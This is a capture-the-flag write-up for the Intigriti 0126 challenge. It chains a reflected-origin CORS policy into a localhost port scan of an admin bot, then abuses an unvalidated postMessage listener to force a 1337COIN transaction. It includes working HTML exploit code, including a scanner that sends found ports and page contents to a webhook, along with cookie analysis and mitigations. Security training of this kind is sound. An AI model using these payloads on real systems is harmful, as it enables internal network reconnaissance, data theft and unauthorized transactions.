---
# System prepended metadata

title: 'Writeup Intigriti 0126: From CORS Scan to postMessage Takeover'

---

# Write-up: Intigriti 0126 Challenge - From CORS Scan to postMessage Takeover

## 1. Initial Analysis & Application Flow

The target application, **CRYPTIGRITI**, is a modern-styled mock cryptocurrency trading platform. Before searching for vulnerabilities, it was essential to understand the application's legitimate user flows, especially the transaction process.

![image](https://hackmd.io/_uploads/H1n42KIU-l.png)


**Legitimate Transaction Flow:**
1.  A user decides to buy a currency and is taken to the `checkout.html` page.
2.  The `checkout.html` page loads a `payment-gateway.html` page inside an `<iframe>`.
3.  `checkout.html` uses `postMessage` to send an `init` message to the iframe, containing the transaction details (currency, amount, price).
4.  The `payment-gateway.html` iframe, after simulating the payment process, sends a `submitTransaction` message back to the parent window (`checkout.html`).
5.  The `checkout.html` page listens for this message. Upon receiving it, it makes a final `POST` request to the `/api/transaction` endpoint to record the transaction on the backend.

**Discovering the Goal:**
Initial reconnaissance of the static files (`home.html`, `dashboard.html`, `js/common.js`) also revealed a hidden "flag banner" functionality. The `checkAuth()` function in `js/common.js` fetches user details from an `/api/me` endpoint. If the response contains a `flag` property, it is displayed to the user.

Further analysis showed that the platform deals with Bitcoin (BTC), Monero (XMR), and an exclusive currency named **`1337COIN`**. The presence of this unique coin suggested that acquiring it was the key to unlocking the flag. The main goal was therefore shifted from a simple XSS to finding a way to force a transaction of `1337COIN`.

---

## 2. Formulating the Attack Path: Connecting the Clues

While the individual vulnerabilities are not overly complex, the difficulty in this challenge lay in connecting several subtle clues to uncover the attack path. 

**Clue #1: The Sandboxed Admin Bot**
The `security.html` page contained a critical hint:
> The admin bot runs in a sandboxed environment

This is a crucial piece of the puzzle. A sandboxed browser can still typically access its own local network stack, suggesting the bot might be able to visit services running on `localhost`. This prompted the idea of shifting the attack surface from the public challenge domain (`challenge-0126.intigriti.io`) to the bot's local machine.

**Clue #2: The Dynamic CORS Policy**
A `curl` request to the challenge server, including an arbitrary `Origin` header, confirmed that the server dynamically reflects this origin in the `Access-Control-Allow-Origin` response header.
```sh
$ curl -I -H "Origin: https://attacker-example.com" https://challenge-0126.intigriti.io/
HTTP/2 200
access-control-allow-origin: https://attacker-example.com
vary: Origin
access-control-allow-credentials: true
...
```

**Connecting the Clues**
Standard browser security (Same-Origin Policy) would normally prevent a script on `attacker-example.com` from reading the response of a `fetch` request to `http://localhost:8080`. The response would be "opaque," making it impossible to distinguish a closed port (network error) from an open port (valid HTTP response).

However, because the server reflects the `Origin`, the browser permits the script on the attacker's site to read the response from `localhost`. This allows us to build a reliable port scanner. The combination of these clues led to the conclusion that the first step of the exploit *must* be to scan the bot's `localhost` to find the running service.

---

## 3. The Vulnerability Chain: A Step-by-Step Exploit

The exploit path requires chaining two distinct vulnerabilities.

### Part 1: Internal Port Scanning via Permissive CORS

As established, the server's dynamic CORS policy allows us to build a port scanner to find the internal service.

![image](https://hackmd.io/_uploads/ByduhK88Ze.png)

#### PoC: Port Scanner Payload
The following script will iterate through ports 8000-9000. If it finds an open port serving HTTP content, it exfiltrates the port number and the first 500 characters of the response to a webhook.

```html
<!DOCTYPE html>
<html>
<head>
    <title>Scanner</title>
</head>
<body>
    <script>
        const WEBHOOK_URL = "https://webhook.site/your-webhook-url";

        navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ status: "started", userAgent: navigator.userAgent }));

        async function scan() {
            const startPort = 8000;
            const endPort = 9000;
            const batchSize = 200;

            for (let i = startPort; i <= endPort; i += batchSize) {
                const tasks = [];
                for (let port = i; port < i + batchSize && port <= endPort; port++) {
                    tasks.push(checkPort(port));
                }
                
                await Promise.all(tasks);
            }
            
            navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ status: "finished" }));
        }

        async function checkPort(port) {
            const controller = new AbortController();
            const timeout = setTimeout(() => controller.abort(), 1500);

            try {
                const response = await fetch(`http://localhost:${port}`, {
                    mode: 'cors',
                    credentials: 'include',
                    signal: controller.signal
                });

                const data = await response.text();

                navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({
                    found: true,
                    port: port,
                    content: data.substring(0, 500)
                }));

            } catch (err) {

            } finally {
                clearTimeout(timeout);
            }
        }
        scan();
    </script>
</body>
</html>
```

### Part 2: `postMessage` with No Origin Validation

The core vulnerability lies in the `checkout.html` page. This page implements a `window.addEventListener` for `'message'` events to handle transactions initiated from an `iframe`. However, it critically fails to validate the origin of the message.

#### Vulnerable Code Snippet (`checkout.html`)
This is the vulnerable code block, which listens for messages from any origin and processes them as valid transactions.

```javascript
// VULNERABILITY: Listen for postMessage from payment gateway (any origin!)
window.addEventListener('message', async function(event) {
    // CRITICAL VULNERABILITY: No origin validation!
    // This allows any website to send transaction data
    
    if (event.data.type === 'submitTransaction') {
        const transactionData = event.data.transaction;
        // ... code to process the transaction follows
    }
});
```
This flaw allows any website to open `checkout.html` and send a crafted `postMessage` to trigger a transaction with arbitrary parameters.

---

## 4. Full Proof of Concept (PoC)

By combining these two vulnerabilities, we can construct the final attack.

#### Attack Steps:

1.  **Host the port scanner** (from Part 1) and send the URL to the bot. The bot visits the page, and the internal port is revealed to the attacker via the webhook.

2.  **Host the final exploit payload** below on an attacker-controlled server.

3.  **Send the URL of the final exploit** to the victim. When the bot opens this page, the script will:
    a. Open the checkout page in a new window, targeting the correct local port: `http://localhost:8080/checkout.html`.
    b. Send a malicious `postMessage` to that window, instructing it to execute a transaction for `1337COIN`.

#### Final Exploit Payload:

```html
<script>
  // The port discovered in the first step
  const BOT_PORT = 8080; 
  
  // Open the checkout page
  var target = window.open(
    `http://localhost:${BOT_PORT}/checkout.html?currency=BTC&price=1`,
    '_blank'
  );

   // Wait for the page to load, then send the malicious message
   setTimeout(function () {
    if (!target) return;

    target.postMessage(
      {
        type: 'submitTransaction',
        transaction: {
          currency: '1337COIN',
          amount: 1,
          toAddress: '16d3871910ae088af0f20ebd5f90bf4e2d' // Attacker-controlled address
        }
      },
      '*' // Target any origin
    );
  }, 2000);
</script>
```

Upon receiving the message, `checkout.html` processes the transaction. A POST request to /api/transaction is issued and the backend awards the `1337COIN` to the user, the `/api/me` endpoint includes the flag, and the banner is displayed.

## 4.5 Deep Dive: Why window.open() Works But iframe Doesn't - The SameSite Cookie Distinction

### The Critical Browser Security Model

While the exploit leverages both a permissive CORS policy and unvalidated `postMessage` listeners, there's a **third layer** that makes the attack possible: the target application's cookie configuration. Understanding why `window.open()` succeeds where an `<iframe>` would fail reveals a subtle but critical security boundary.

### Understanding SameSite Cookie Attributes

Modern browsers implement the **SameSite** cookie attribute to defend against Cross-Site Request Forgery (CSRF) attacks. However, the three modes offer different protection levels:

#### SameSite=Strict
```
✓ Cookies sent in:
  - Same-site top-level navigation (user clicks link)
  - Same-site form submissions

✗ Cookies NOT sent in:
  - Cross-site iframe requests
  - Cross-site fetch/XMLHttpRequest
  - window.open() from different origin
  - Cross-site form submissions
```

#### SameSite=Lax (Default in Modern Browsers)
```
✓ Cookies sent in:
  - Same-site top-level navigation (user clicks link)
  - window.open() from different origin ← KEY DIFFERENCE
  - Safe HTTP methods (GET) in cross-site context

✗ Cookies NOT sent in:
  - Cross-site iframe requests
  - Cross-site fetch/XMLHttpRequest
  - Unsafe HTTP methods (POST, DELETE) from cross-site
```

#### SameSite=None (Requires Secure flag)
```
✓ Cookies sent in:
  - ALL cross-site requests (iframe, fetch, window.open, etc.)
  - Requires Secure flag (HTTPS only)
```

### Why This Challenge Likely Uses SameSite=Lax

The vulnerable application probably configures its session cookies like this:

```javascript
// Typical (but vulnerable for this scenario) configuration
res.setHeader('Set-Cookie', 'token=eyJhbG...; SameSite=Lax; Secure; HttpOnly');
```

`SameSite=Lax` is chosen because it:
- Allows normal user workflows (links, bookmarks, history)
- Protects against simple CSRF attacks
- Is the **default behavior** in modern browsers if not specified

However, **this default provides insufficient protection** against the attack in this challenge.

### Attack Flow: How SameSite=Lax Enables the Exploit

```
Step 1: Bot visits attacker's page
┌─────────────────────────────────────────┐
 https://attacker.com/exploit.html       
 ✓ Bot is authenticated to localhost     
 ✓ sessionId cookie is set (SameSite=Lax)
└─────────────────────────────────────────┘

Step 2: Attacker's JavaScript calls window.open()
┌──────────────────────────────────────────────────────────┐
 window.open('http://localhost:8080/checkout.html')       
                                                          
 Browser sees this as:                                    
 "User is opening a new window to a URL"                  
 = Top-level navigation event                             
└──────────────────────────────────────────────────────────┘

Step 3: SameSite=Lax Permits Cookie Inclusion
┌──────────────────────────────────────────────────────────┐
 Request to http://localhost:8080/checkout.html           
                                                          
 Browser checks SameSite=Lax rules:                       
 "Is this a top-level navigation?" → YES ✓                
 → token cookie IS INCLUDED                           
└──────────────────────────────────────────────────────────┘

Step 4: checkout.html Loads Authenticated
┌──────────────────────────────────────────────────────────┐
 http://localhost:8080/checkout.html                      
 ✓ Loaded in new window (can receive postMessage)         
 ✓ Bot's session is intact (cookie included)              
 ✓ Ready to process transactions                          
└──────────────────────────────────────────────────────────┘

Step 5: postMessage Injection (No Origin Validation)
┌──────────────────────────────────────────────────────────┐
 target.postMessage({                                     
   type: 'submitTransaction',                             
   transaction: {                                         
     currency: '1337COIN',                                
     amount: 1,                                           
     toAddress: 'attacker-address'                        
   }                                                      
 }, '*')                                                  
                                                          
 ✗ No origin validation → Message accepted                
└──────────────────────────────────────────────────────────┘

Step 6: Backend Processes with Bot's Credentials
┌──────────────────────────────────────────────────────────┐
 POST /api/transaction                                    
 ✓ Authenticated as bot user (sessionId cookie)          
 ✓ Backend processes transaction                         
 ✓ 1337COIN awarded to bot account                       
 ✓ Flag revealed via /api/me                             
└──────────────────────────────────────────────────────────┘
```

### Why an iframe Would Fail (The Critical Distinction)

If the attacker attempted to use an `<iframe>` instead:

```javascript
// This approach would NOT work:
const iframe = document.createElement('iframe');
iframe.src = 'http://localhost:8080/checkout.html';
document.body.appendChild(iframe);
```

**The failure chain:**

```
Step 1: iframe Element Created
┌──────────────────────────────────────────────────────────┐
 <iframe src="http://localhost:8080/checkout.html">       
└──────────────────────────────────────────────────────────┘

Step 2: Browser Interprets as Cross-Site iframe Request
┌──────────────────────────────────────────────────────────┐
 Request to http://localhost:8080/checkout.html           
                                                          
 Browser sees:                                            
 From: https://attacker.com (parent window)              
 To:   http://localhost:8080 (iframe)                    
 Context: iframe (NOT top-level navigation)              
└──────────────────────────────────────────────────────────┘

Step 3: SameSite=Lax Blocks the Cookie
┌──────────────────────────────────────────────────────────┐
 Browser checks SameSite=Lax rules:                        
 "Is this a top-level navigation?" → NO ✗                
 "Is this a safe HTTP method (GET)?" → YES               
 "But context is iframe, not top-level" → BLOCK ✗        
 → sessionId cookie is NOT INCLUDED                      
└──────────────────────────────────────────────────────────┘

Step 4: checkout.html Loads Unauthenticated
┌──────────────────────────────────────────────────────────┐
 http://localhost:8080/checkout.html                      
 ✗ Loaded in iframe (postMessage still possible)         
 ✗ NO bot's session (no cookie)                          
 ✗ User is not authenticated                             
└──────────────────────────────────────────────────────────┘

Step 5: Backend Rejects Transaction
┌──────────────────────────────────────────────────────────┐
 POST /api/transaction                                    
 ✗ Not authenticated (no sessionId cookie)               
 ✗ Backend returns 401 Unauthorized                      
 ✗ Transaction FAILS                                     
 ✗ Exploit is DEFEATED                                   
└──────────────────────────────────────────────────────────┘
```

---

## 5. Mitigation

### Origin Validation in postMessage Listeners

The most critical fix is to implement strict origin validation in the `message` event listener. The current code accepts messages from **any origin**, which is a fundamental security violation.



#### ✅ Secure Implementation

**Option 1: Simple Origin Whitelist (Recommended)**
```javascript
const TRUSTED_ORIGIN = 'https://challenge-0126.intigriti.io';

window.addEventListener('message', async function(event) {
    // Validate origin against whitelist
    if (event.origin !== TRUSTED_ORIGIN) {
        console.error('Untrusted origin attempted postMessage:', event.origin);
        return;
    }
...
```

**Option 2: Additional Source Validation (Defense in Depth)**
```javascript
const TRUSTED_ORIGIN = 'https://challenge-0126.intigriti.io';
const PAYMENT_GATEWAY_IFRAME = document.getElementById('paymentFrame');

window.addEventListener('message', async function(event) {
    // Validate both origin AND message source
    if (event.origin !== TRUSTED_ORIGIN) {
        console.error('Untrusted origin:', event.origin);
        return;
    }
    
    // Ensure message comes from the specific iframe we trust
    if (event.source !== PAYMENT_GATEWAY_IFRAME.contentWindow) {
        console.error('Message source is not from trusted iframe');
        return;
    }
    
    if (event.data.type === 'submitTransaction') {
        const transactionData = event.data.transaction;
        await processTransaction(transactionData);
    }
});
```

---

### Implement Restrictive CORS Policy

The server reflects **any** origin in the `Access-Control-Allow-Origin` header, enabling port scanning attacks. A restrictive CORS policy is essential.

#### ❌ Current Vulnerable Policy
```
Access-Control-Allow-Origin: *  (or dynamically reflected)
Access-Control-Allow-Credentials: true
```

#### ✅ Secure CORS Configuration

**Node.js/Express Example:**
```javascript
const express = require('express');
const cors = require('cors');

const corsOptions = {
    origin: ['https://challenge-0126.intigriti.io'],  // Only this domain
    credentials: true,
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    maxAge: 3600
};

app.use(cors(corsOptions));

// Alternative: Manual header configuration
app.use((req, res, next) => {
    const allowedOrigins = ['https://challenge-0126.intigriti.io'];
    const origin = req.headers.origin;
    
    if (allowedOrigins.includes(origin)) {
        res.setHeader('Access-Control-Allow-Origin', origin);
        res.setHeader('Access-Control-Allow-Credentials', 'true');
        res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
        res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    }
    
    next();
});
```
---

## 6. Additional Findings: Stored XSS in `toAddress`

During the analysis, a secondary vulnerability was discovered: a straightforward Stored Cross-Site Scripting (XSS) vulnerability. Although not required for the primary exploit path, this finding is worth noting as it demonstrates a separate security weakness in the application.

The `toAddress` field of a transaction is not properly sanitized before being rendered in the live transaction feed on the `marketwatch.html` page. An attacker can submit a transaction with a malicious JavaScript payload in the `toAddress` field. When any user visits the `marketwatch.html` page, the script will be rendered as part of the transaction list and execute in their browser's context.


---

### Final Flag

`INTIGRITI{019bd594-b91d-713c-b7b9-7c8aa5def220}`

